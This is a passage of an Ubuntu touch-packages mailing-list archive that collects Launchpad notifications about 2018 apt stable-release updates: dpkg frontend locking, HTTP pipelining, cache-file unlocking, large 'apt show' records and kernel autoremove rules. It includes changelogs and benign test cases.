The verification of the Stable Release Update for apt has completed successfully and the package has now been released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1796808 Title: frontend locking regression: dpkg::post-invoke scripts can't install packages Status in apt package in Ubuntu: Fix Released Status in apt source package in Xenial: Fix Released Status in apt source package in Bionic: Fix Released Status in apt source package in Cosmic: Fix Released Bug description: [Impact] The switch to frontend locking in 1.2.28/1.6.5/1.7~ caused scripts registered in DPkg::Pre-Install-Pkgs DPkg::Pre-Invoke DPkg::Post-Invoke To be run with the frontend lock held. This caused problems with some installer packages like libdvd-pkg which install a locally built package in such a hook. To reduce the impact, a fix has been applied in 1.7.0 which exports the DPKG_FRONTEND_LOCKED variable when running those scripts, allowing dpkg to be run from those scripts. [Test case] Make sure that the test-frontend-lock test run by autopkgtest succeeds. This checks that: (1) the variable is correctly exported to those scripts (2) the frontend lock is still held (3) dpkg can be run from the post-invoke script [Regression potential] Depending on the script (for example, if the script starts a daemon manually or something like that), DPKG_FRONTEND_LOCKED might leak to other processes which might survive the apt call and thus revert surviving process to not using frontend locking. [Other info] This fix is for backwards compatibility only. Starting with the dd cycle, it will be dropped for the Pre-Install-Pkgs and Pre-Invoke scripts. Potentially for post-invoke as well, if we find a better solution for it. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1796808/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1794957] Re: pipelining on archive.u.c aborts after 101 packages
This bug was fixed in the package apt - 1.6.6
---
apt (1.6.6) bionic; urgency=medium
* Set DPKG_FRONTEND_LOCKED when running {pre,post}-invoke scripts.
Some post-invoke scripts install packages, which fails because
the environment variable is not set. This sets the variable for
all three kinds of scripts {pre,post-}invoke and pre-install-pkgs,
but we will only allow post-invoke at a later time.
(LP: #1796808)
apt (1.6.5) bionic; urgency=medium
[ David Kalnischkies ]
* Support records larger than 32kb in 'apt show' (Closes: #905527)
(LP: #1787120)
[ Julian Andres Klode ]
* Add support for dpkg frontend lock (Closes: #869546) (LP: #1781169)
* Set DPKG_FRONTEND_LOCKED as needed when doing selection changes
* http: Stop pipeline after close only if it was not filled before
(LP: #1794957)
* pkgCacheFile: Only unlock in destructor if locked before (LP: #1794053)
* Update libapt-pkg5.0 symbols for frontend locking
-- Julian Andres Klode Tue, 09 Oct 2018 12:16:51
+0200
** Changed in: apt (Ubuntu Bionic)
Status: Fix Committed => Fix Released
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1794957
Title:
pipelining on archive.u.c aborts after 101 packages
Status in apt package in Ubuntu:
Fix Released
Status in apt source package in Xenial:
Fix Released
Status in apt source package in Bionic:
Fix Released
Bug description:
[Impact]
Downloading many packages on archive.ubuntu.com or some other mirrors seems
to close the connection after every 100 or so packages. APT prior to 1.7.0~rc1
(commit df696650b7a8c58bbd92e0e1619e956f21010a96), treats a connection closure
with a 200 response as meaning that the server does not support pipelining,
hence disabling it for any further downloads.
With high speed connections at higher latency, this can cause a severe
reduction in usable bandwidth. For example, I saw speeds drop from 40
MB/s to 15 MB/s due to this.
The fix ensures that we continue pipelining if the previous connection
to the server successfully retrieved at least 3 files with pipelining
enabled.
[Test case]
Pick a package that would cause a large number (200/300 packages of packages
to be installed). I used plasma-desktop and xubuntu-desktop, for example. Run
apt install -d $package. Ensure that after the first 101 packages the progress
does not slow down - you should not see a lot "working" in the progress output.
The speed should be substantially higher.
Don't run in a container setup by cloud-init, as cloud-init disables
pipelining; or remove /etc/apt/apt.conf.d/90cloud-init-pipelining (see
bug 1794982).
Requirements:
* High speed, medium-high latency connection (e.g. 400 Mbit/s at 30 ms RTT is
enough); or just increase latency, e.g.
sudo tc qdisc add dev wlp61s0 root netem delay 300ms
until you see the slow down
* Not a terribly slow CPU, as we'd get slowed down by hashing otherwise
[Regression potential]
This fix is isolated to code enabling/disabling pipelining on subsequent
connections. It could cause more pipelining to be tried on servers who are not
particularly good at it, but can deal with 3 items correctly.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1794957/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1794957] Re: pipelining on archive.u.c aborts after 101 packages
This bug was fixed in the package apt - 1.2.29
---
apt (1.2.29) xenial; urgency=medium
* Set DPKG_FRONTEND_LOCKED when running {pre,post}-invoke scripts.
Some post-invoke scripts install packages, which fails because
the environment variable is not set. This sets the variable for
all three kinds of scripts {pre,post-}invoke and pre-install-pkgs,
but we will only allow post-invoke at a later time.
(LP: #1796808)
apt (1.2.28) xenial; urgency=medium
[ Julian Andres Klode ]
* apt.conf.autoremove: Add linux-cloud-tools to list (LP: #1698159)
* Add support for dpkg frontend lock (Closes: #869546) (LP: #1781169)
* Set DPKG_FRONTEND_LOCKED as needed when doing selection changes
* http: Stop pipeline after close only if it was not filled before
(LP: #1794957)
* pkgCacheFile: Only unlock in destructor if locked before (LP: #1794053)
* Update libapt-pkg5.0 symbols for frontend locking
[ David Kalnischkies ]
* Support records larger than 32kb in 'apt show' (Closes: #905527)
(LP: #1787120)
-- Julian Andres Klode Tue, 09 Oct 2018 12:35:03
+0200
** Changed in: apt (Ubuntu Xenial)
Status: Fix Committed => Fix Released
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1794957
Title:
pipelining on archive.u.c aborts after 101 packages
Status in apt package in Ubuntu:
Fix Released
Status in apt source package in Xenial:
Fix Released
Status in apt source package in Bionic:
Fix Released
Bug description:
[Impact]
Downloading many packages on archive.ubuntu.com or some other mirrors seems
to close the connection after every 100 or so packages. APT prior to 1.7.0~rc1
(commit df696650b7a8c58bbd92e0e1619e956f21010a96), treats a connection closure
with a 200 response as meaning that the server does not support pipelining,
hence disabling it for any further downloads.
With high speed connections at higher latency, this can cause a severe
reduction in usable bandwidth. For example, I saw speeds drop from 40
MB/s to 15 MB/s due to this.
The fix ensures that we continue pipelining if the previous connection
to the server successfully retrieved at least 3 files with pipelining
enabled.
[Test case]
Pick a package that would cause a large number (200/300 packages of packages
to be installed). I used plasma-desktop and xubuntu-desktop, for example. Run
apt install -d $package. Ensure that after the first 101 packages the progress
does not slow down - you should not see a lot "working" in the progress output.
The speed should be substantially higher.
Don't run in a container setup by cloud-init, as cloud-init disables
pipelining; or remove /etc/apt/apt.conf.d/90cloud-init-pipelining (see
bug 1794982).
Requirements:
* High speed, medium-high latency connection (e.g. 400 Mbit/s at 30 ms RTT is
enough); or just increase latency, e.g.
sudo tc qdisc add dev wlp61s0 root netem delay 300ms
until you see the slow down
* Not a terribly slow CPU, as we'd get slowed down by hashing otherwise
[Regression potential]
This fix is isolated to code enabling/disabling pipelining on subsequent
connections. It could cause more pipelining to be tried on servers who are not
particularly good at it, but can deal with 3 items correctly.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1794957/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1794053] Re: pkgCacheFile unlocks in destructor even if it did not acquire lock
This bug was fixed in the package apt - 1.6.6
---
apt (1.6.6) bionic; urgency=medium
* Set DPKG_FRONTEND_LOCKED when running {pre,post}-invoke scripts.
Some post-invoke scripts install packages, which fails because
the environment variable is not set. This sets the variable for
all three kinds of scripts {pre,post-}invoke and pre-install-pkgs,
but we will only allow post-invoke at a later time.
(LP: #1796808)
apt (1.6.5) bionic; urgency=medium
[ David Kalnischkies ]
* Support records larger than 32kb in 'apt show' (Closes: #905527)
(LP: #1787120)
[ Julian Andres Klode ]
* Add support for dpkg frontend lock (Closes: #869546) (LP: #1781169)
* Set DPKG_FRONTEND_LOCKED as needed when doing selection changes
* http: Stop pipeline after close only if it was not filled before
(LP: #1794957)
* pkgCacheFile: Only unlock in destructor if locked before (LP: #1794053)
* Update libapt-pkg5.0 symbols for frontend locking
-- Julian Andres Klode Tue, 09 Oct 2018 12:16:51
+0200
** Changed in: apt (Ubuntu Bionic)
Status: Fix Committed => Fix Released
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1794053
Title:
pkgCacheFile unlocks in destructor even if it did not acquire lock
Status in apt package in Ubuntu:
Fix Released
Status in apt source package in Trusty:
Triaged
Status in apt source package in Xenial:
Fix Released
Status in apt source package in Bionic:
Fix Released
Status in apt source package in Cosmic:
Fix Released
Bug description:
[Impact]
Closing a cache file unlocks the system (loses the lock). This randomly
breaks ubuntu-make, for example.
[Test case]
The following Python code fails, but should succeed, as it locks first, opens
a cache and closes it, and then unlocks.
import apt_pkg, os, gc
apt_pkg.init()
apt_pkg.pkgsystem_lock()
os.system("ls -l /proc/%d/fd" % os.getpid())
apt_pkg.Cache()
gc.collect()
os.system("ls -l /proc/%d/fd" % os.getpid())
apt_pkg.pkgsystem_unlock()
[Regression potential]
This fixes a regression introduced in 2001 by
commit b2e465d6d32d2dc884f58b94acb7e35f671a87fe
Author: Arch Librarian
Date: Mon Sep 20 16:56:32 2004 +
Join with aliencode
Author: jgg
Date: 2001-02-20 07:03:16 GMT
Join with aliencode
The fix is to only UnLock from the cache file if the cache file locked
before. It's unclear how far code relies on that regression. That
said, any potential regression should be easily noticable, as it would
be a case of not unlocking where we were unlocking before.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1794053/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1794053] Re: pkgCacheFile unlocks in destructor even if it did not acquire lock
This bug was fixed in the package apt - 1.2.29
---
apt (1.2.29) xenial; urgency=medium
* Set DPKG_FRONTEND_LOCKED when running {pre,post}-invoke scripts.
Some post-invoke scripts install packages, which fails because
the environment variable is not set. This sets the variable for
all three kinds of scripts {pre,post-}invoke and pre-install-pkgs,
but we will only allow post-invoke at a later time.
(LP: #1796808)
apt (1.2.28) xenial; urgency=medium
[ Julian Andres Klode ]
* apt.conf.autoremove: Add linux-cloud-tools to list (LP: #1698159)
* Add support for dpkg frontend lock (Closes: #869546) (LP: #1781169)
* Set DPKG_FRONTEND_LOCKED as needed when doing selection changes
* http: Stop pipeline after close only if it was not filled before
(LP: #1794957)
* pkgCacheFile: Only unlock in destructor if locked before (LP: #1794053)
* Update libapt-pkg5.0 symbols for frontend locking
[ David Kalnischkies ]
* Support records larger than 32kb in 'apt show' (Closes: #905527)
(LP: #1787120)
-- Julian Andres Klode Tue, 09 Oct 2018 12:35:03
+0200
** Changed in: apt (Ubuntu Xenial)
Status: Fix Committed => Fix Released
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1794053
Title:
pkgCacheFile unlocks in destructor even if it did not acquire lock
Status in apt package in Ubuntu:
Fix Released
Status in apt source package in Trusty:
Triaged
Status in apt source package in Xenial:
Fix Released
Status in apt source package in Bionic:
Fix Released
Status in apt source package in Cosmic:
Fix Released
Bug description:
[Impact]
Closing a cache file unlocks the system (loses the lock). This randomly
breaks ubuntu-make, for example.
[Test case]
The following Python code fails, but should succeed, as it locks first, opens
a cache and closes it, and then unlocks.
import apt_pkg, os, gc
apt_pkg.init()
apt_pkg.pkgsystem_lock()
os.system("ls -l /proc/%d/fd" % os.getpid())
apt_pkg.Cache()
gc.collect()
os.system("ls -l /proc/%d/fd" % os.getpid())
apt_pkg.pkgsystem_unlock()
[Regression potential]
This fixes a regression introduced in 2001 by
commit b2e465d6d32d2dc884f58b94acb7e35f671a87fe
Author: Arch Librarian
Date: Mon Sep 20 16:56:32 2004 +
Join with aliencode
Author: jgg
Date: 2001-02-20 07:03:16 GMT
Join with aliencode
The fix is to only UnLock from the cache file if the cache file locked
before. It's unclear how far code relies on that regression. That
said, any potential regression should be easily noticable, as it would
be a case of not unlocking where we were unlocking before.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1794053/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1794053] Update Released
The verification of the Stable Release Update for apt has completed
successfully and the package has now been released to -updates.
Subsequently, the Ubuntu Stable Release Updates Team is being
unsubscribed and will not receive messages about this bug report. In
the event that you encounter a regression using the package from
-updates please report a new bug using ubuntu-bug and tag the bug report
regression-update so we can easily find any regressions.
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1794053
Title:
pkgCacheFile unlocks in destructor even if it did not acquire lock
Status in apt package in Ubuntu:
Fix Released
Status in apt source package in Trusty:
Triaged
Status in apt source package in Xenial:
Fix Released
Status in apt source package in Bionic:
Fix Released
Status in apt source package in Cosmic:
Fix Released
Bug description:
[Impact]
Closing a cache file unlocks the system (loses the lock). This randomly
breaks ubuntu-make, for example.
[Test case]
The following Python code fails, but should succeed, as it locks first, opens
a cache and closes it, and then unlocks.
import apt_pkg, os, gc
apt_pkg.init()
apt_pkg.pkgsystem_lock()
os.system("ls -l /proc/%d/fd" % os.getpid())
apt_pkg.Cache()
gc.collect()
os.system("ls -l /proc/%d/fd" % os.getpid())
apt_pkg.pkgsystem_unlock()
[Regression potential]
This fixes a regression introduced in 2001 by
commit b2e465d6d32d2dc884f58b94acb7e35f671a87fe
Author: Arch Librarian
Date: Mon Sep 20 16:56:32 2004 +
Join with aliencode
Author: jgg
Date: 2001-02-20 07:03:16 GMT
Join with aliencode
The fix is to only UnLock from the cache file if the cache file locked
before. It's unclear how far code relies on that regression. That
said, any potential regression should be easily noticable, as it would
be a case of not unlocking where we were unlocking before.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1794053/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1794957] Update Released
The verification of the Stable Release Update for apt has completed successfully and the package has now been released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1794957 Title: pipelining on archive.u.c aborts after 101 packages Status in apt package in Ubuntu: Fix Released Status in apt source package in Xenial: Fix Released Status in apt source package in Bionic: Fix Released Bug description: [Impact] Downloading many packages on archive.ubuntu.com or some other mirrors seems to close the connection after every 100 or so packages. APT prior to 1.7.0~rc1 (commit df696650b7a8c58bbd92e0e1619e956f21010a96), treats a connection closure with a 200 response as meaning that the server does not support pipelining, hence disabling it for any further downloads. With high speed connections at higher latency, this can cause a severe reduction in usable bandwidth. For example, I saw speeds drop from 40 MB/s to 15 MB/s due to this. The fix ensures that we continue pipelining if the previous connection to the server successfully retrieved at least 3 files with pipelining enabled. [Test case] Pick a package that would cause a large number (200/300 packages of packages to be installed). I used plasma-desktop and xubuntu-desktop, for example. Run apt install -d $package. Ensure that after the first 101 packages the progress does not slow down - you should not see a lot "working" in the progress output. The speed should be substantially higher. Don't run in a container setup by cloud-init, as cloud-init disables pipelining; or remove /etc/apt/apt.conf.d/90cloud-init-pipelining (see bug 1794982). Requirements: * High speed, medium-high latency connection (e.g. 400 Mbit/s at 30 ms RTT is enough); or just increase latency, e.g. sudo tc qdisc add dev wlp61s0 root netem delay 300ms until you see the slow down * Not a terribly slow CPU, as we'd get slowed down by hashing otherwise [Regression potential] This fix is isolated to code enabling/disabling pipelining on subsequent connections. It could cause more pipelining to be tried on servers who are not particularly good at it, but can deal with 3 items correctly. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1794957/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1787120] Re: apt show fails to show large records
This bug was fixed in the package apt - 1.6.6
---
apt (1.6.6) bionic; urgency=medium
* Set DPKG_FRONTEND_LOCKED when running {pre,post}-invoke scripts.
Some post-invoke scripts install packages, which fails because
the environment variable is not set. This sets the variable for
all three kinds of scripts {pre,post-}invoke and pre-install-pkgs,
but we will only allow post-invoke at a later time.
(LP: #1796808)
apt (1.6.5) bionic; urgency=medium
[ David Kalnischkies ]
* Support records larger than 32kb in 'apt show' (Closes: #905527)
(LP: #1787120)
[ Julian Andres Klode ]
* Add support for dpkg frontend lock (Closes: #869546) (LP: #1781169)
* Set DPKG_FRONTEND_LOCKED as needed when doing selection changes
* http: Stop pipeline after close only if it was not filled before
(LP: #1794957)
* pkgCacheFile: Only unlock in destructor if locked before (LP: #1794053)
* Update libapt-pkg5.0 symbols for frontend locking
-- Julian Andres Klode Tue, 09 Oct 2018 12:16:51
+0200
** Changed in: apt (Ubuntu Bionic)
Status: Fix Committed => Fix Released
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1787120
Title:
apt show fails to show large records
Status in apt package in Ubuntu:
Invalid
Status in apt source package in Xenial:
Fix Released
Status in apt source package in Bionic:
Fix Released
Status in apt package in Debian:
Confirmed
Bug description:
[Impact]
apt show can't show records that are larger than 32 KB, e.g. records with
long lists of provides
[Test case]
A test case is provided in autopkgtest, hence validates automatically. See
https://salsa.debian.org/apt-team/apt/commit/409ceec9ed30cbebd8ece1ef7ce667ab5a32f9df
for details.
[Other info]
This is a duplicate of Debian bug #905527.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1787120/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1698159] Update Released
The verification of the Stable Release Update for apt has completed successfully and the package has now been released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unattended-upgrades in Ubuntu. https://bugs.launchpad.net/bugs/1698159 Title: linux-cloud-tools version specific packages are being removed by unattended-upgrade's Remove-Unused-Dependencies Status in apt package in Ubuntu: Fix Released Status in unattended-upgrades package in Ubuntu: Fix Released Status in apt source package in Trusty: Triaged Status in unattended-upgrades source package in Trusty: New Status in apt source package in Xenial: Fix Released Status in unattended-upgrades source package in Xenial: New Status in apt source package in Bionic: Fix Released Status in unattended-upgrades source package in Bionic: Fix Released Bug description: [Impact] When running kernel version 4.4.0-78 (for example) and the unattended-upgrade packages installs a new kernel 4.4.0-79 (for example) the linux-cloud-tools-4.4.0-78 and linux-cloud-tools-4.4.0-78-generic packages are removed by the Remove-Unused-Dependencies rule, because unlike "normal" kernel packages they are not excluded by /etc/apt/apt.conf.d/01autoremove-kernels. The linux-cloud-tools package has the hyper-v integration services daemons in it, so it's deletion leaves some of the integration not working. Could /etc/apt/apt.conf.d/01autoremove-kernels be updated so other hyper-v users aren't caught out by this? Thanks, Ian. [Test case] Make sure that linux-cloud-tools for protected kernels are listed in APT::NeverAutoRemove, for example, on cosmic: "^linux-cloud-tools-4\.17\.0-9-generic$"; "^linux-cloud-tools-4\.18\.0-7-generic$"; Those are in 01autoremove-kernels [Regression Potential] some linux-cloud-tools will linger around, so it takes more space. [Other info] ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: unattended-upgrades 0.90ubuntu0.6 ProcVersionSignature: Ubuntu 4.4.0-79.100-generic 4.4.67 Uname: Linux 4.4.0-79-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.6 Architecture: amd64 Date: Thu Jun 15 15:27:35 2017 InstallationDate: Installed on 2016-04-25 (415 days ago) InstallationMedia: Ubuntu-Server 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.3) PackageArchitecture: all SourcePackage: unattended-upgrades UpgradeStatus: No upgrade log present (probably fresh install) modified.conffile..etc.apt.apt.conf.d.10periodic: [modified] modified.conffile..etc.update-motd.d.90-updates-available: [deleted] modified.conffile..etc.update-motd.d.98-fsck-at-reboot: [deleted] modified.conffile..etc.update-motd.d.98-reboot-required: [deleted] mtime.conffile..etc.apt.apt.conf.d.10periodic: 2016-04-25T16:28:36.64 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1698159/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1781169] Re: apt frontend locking
This bug was fixed in the package apt - 1.2.29
---
apt (1.2.29) xenial; urgency=medium
* Set DPKG_FRONTEND_LOCKED when running {pre,post}-invoke scripts.
Some post-invoke scripts install packages, which fails because
the environment variable is not set. This sets the variable for
all three kinds of scripts {pre,post-}invoke and pre-install-pkgs,
but we will only allow post-invoke at a later time.
(LP: #1796808)
apt (1.2.28) xenial; urgency=medium
[ Julian Andres Klode ]
* apt.conf.autoremove: Add linux-cloud-tools to list (LP: #1698159)
* Add support for dpkg frontend lock (Closes: #869546) (LP: #1781169)
* Set DPKG_FRONTEND_LOCKED as needed when doing selection changes
* http: Stop pipeline after close only if it was not filled before
(LP: #1794957)
* pkgCacheFile: Only unlock in destructor if locked before (LP: #1794053)
* Update libapt-pkg5.0 symbols for frontend locking
[ David Kalnischkies ]
* Support records larger than 32kb in 'apt show' (Closes: #905527)
(LP: #1787120)
-- Julian Andres Klode Tue, 09 Oct 2018 12:35:03
+0200
** Changed in: apt (Ubuntu Xenial)
Status: Fix Committed => Fix Released
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1781169
Title:
apt frontend locking
Status in apt package in Ubuntu:
Fix Released
Status in apt source package in Xenial:
Fix Released
Status in apt source package in Bionic:
Fix Released
Bug description:
[Impact]
apt acquires /var/lib/dpkg/lock but has to release it while running dpkg,
offering a short window for other clients to acquire the lock. This implements
/var/lib/dpkg/lock-frontend which will be acquired earlier and not released by
apt for dpkg to run.
dpkg will try to acquire the frontend lock as well, unless told not to
do so via an environment variable, which apt does; hence concurrent
runs of dpkg without other locking can't happen.
[Test case]
Run strace apt install $something and check that lock-frontend is acquired at
the beginning and not released until the end.
[Regression potential]
Frontend locking failures are in English, as there are no translations yet.
More locks also mean more potential for locking to go wrong across programs,
but since we don't have any waiting locks we at least won't deadlock.
[Other info]
This is part of a wider series of SRUs for frontend locking
- dpkg (bug 1796081)
- apt (bug 1781169)
- python-apt (bug 1795407)
- packagekit (bug 1795614)
- unattended-upgrades (bug 1789637)
- aptdaemon (no bug filed yet)
Further details about frontend locking can be found in
https://lists.debian.org/debian-dpkg/2017/01/msg00044.html
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1781169/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1781169] Re: apt frontend locking
This bug was fixed in the package apt - 1.6.6
---
apt (1.6.6) bionic; urgency=medium
* Set DPKG_FRONTEND_LOCKED when running {pre,post}-invoke scripts.
Some post-invoke scripts install packages, which fails because
the environment variable is not set. This sets the variable for
all three kinds of scripts {pre,post-}invoke and pre-install-pkgs,
but we will only allow post-invoke at a later time.
(LP: #1796808)
apt (1.6.5) bionic; urgency=medium
[ David Kalnischkies ]
* Support records larger than 32kb in 'apt show' (Closes: #905527)
(LP: #1787120)
[ Julian Andres Klode ]
* Add support for dpkg frontend lock (Closes: #869546) (LP: #1781169)
* Set DPKG_FRONTEND_LOCKED as needed when doing selection changes
* http: Stop pipeline after close only if it was not filled before
(LP: #1794957)
* pkgCacheFile: Only unlock in destructor if locked before (LP: #1794053)
* Update libapt-pkg5.0 symbols for frontend locking
-- Julian Andres Klode Tue, 09 Oct 2018 12:16:51
+0200
** Changed in: apt (Ubuntu Bionic)
Status: Fix Committed => Fix Released
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1781169
Title:
apt frontend locking
Status in apt package in Ubuntu:
Fix Released
Status in apt source package in Xenial:
Fix Released
Status in apt source package in Bionic:
Fix Released
Bug description:
[Impact]
apt acquires /var/lib/dpkg/lock but has to release it while running dpkg,
offering a short window for other clients to acquire the lock. This implements
/var/lib/dpkg/lock-frontend which will be acquired earlier and not released by
apt for dpkg to run.
dpkg will try to acquire the frontend lock as well, unless told not to
do so via an environment variable, which apt does; hence concurrent
runs of dpkg without other locking can't happen.
[Test case]
Run strace apt install $something and check that lock-frontend is acquired at
the beginning and not released until the end.
[Regression potential]
Frontend locking failures are in English, as there are no translations yet.
More locks also mean more potential for locking to go wrong across programs,
but since we don't have any waiting locks we at least won't deadlock.
[Other info]
This is part of a wider series of SRUs for frontend locking
- dpkg (bug 1796081)
- apt (bug 1781169)
- python-apt (bug 1795407)
- packagekit (bug 1795614)
- unattended-upgrades (bug 1789637)
- aptdaemon (no bug filed yet)
Further details about frontend locking can be found in
https://lists.debian.org/debian-dpkg/2017/01/msg00044.html
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1781169/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1787120] Update Released
The verification of the Stable Release Update for apt has completed successfully and the package has now been released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1787120 Title: apt show fails to show large records Status in apt package in Ubuntu: Invalid Status in apt source package in Xenial: Fix Released Status in apt source package in Bionic: Fix Released Status in apt package in Debian: Confirmed Bug description: [Impact] apt show can't show records that are larger than 32 KB, e.g. records with long lists of provides [Test case] A test case is provided in autopkgtest, hence validates automatically. See https://salsa.debian.org/apt-team/apt/commit/409ceec9ed30cbebd8ece1ef7ce667ab5a32f9df for details. [Other info] This is a duplicate of Debian bug #905527. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1787120/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1698159] Re: linux-cloud-tools version specific packages are being removed by unattended-upgrade's Remove-Unused-Dependencies
This bug was fixed in the package apt - 1.2.29
---
apt (1.2.29) xenial; urgency=medium
* Set DPKG_FRONTEND_LOCKED when running {pre,post}-invoke scripts.
Some post-invoke scripts install packages, which fails because
the environment variable is not set. This sets the variable for
all three kinds of scripts {pre,post-}invoke and pre-install-pkgs,
but we will only allow post-invoke at a later time.
(LP: #1796808)
apt (1.2.28) xenial; urgency=medium
[ Julian Andres Klode ]
* apt.conf.autoremove: Add linux-cloud-tools to list (LP: #1698159)
* Add support for dpkg frontend lock (Closes: #869546) (LP: #1781169)
* Set DPKG_FRONTEND_LOCKED as needed when doing selection changes
* http: Stop pipeline after close only if it was not filled before
(LP: #1794957)
* pkgCacheFile: Only unlock in destructor if locked before (LP: #1794053)
* Update libapt-pkg5.0 symbols for frontend locking
[ David Kalnischkies ]
* Support records larger than 32kb in 'apt show' (Closes: #905527)
(LP: #1787120)
-- Julian Andres Klode Tue, 09 Oct 2018 12:35:03
+0200
** Changed in: apt (Ubuntu Xenial)
Status: Fix Committed => Fix Released
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to unattended-upgrades in
Ubuntu.
https://bugs.launchpad.net/bugs/1698159
Title:
linux-cloud-tools version specific packages are being removed by
unattended-upgrade's Remove-Unused-Dependencies
Status in apt package in Ubuntu:
Fix Released
Status in unattended-upgrades package in Ubuntu:
Fix Released
Status in apt source package in Trusty:
Triaged
Status in unattended-upgrades source package in Trusty:
New
Status in apt source package in Xenial:
Fix Released
Status in unattended-upgrades source package in Xenial:
New
Status in apt source package in Bionic:
Fix Released
Status in unattended-upgrades source package in Bionic:
Fix Released
Bug description:
[Impact]
When running kernel version 4.4.0-78 (for example) and the unattended-upgrade
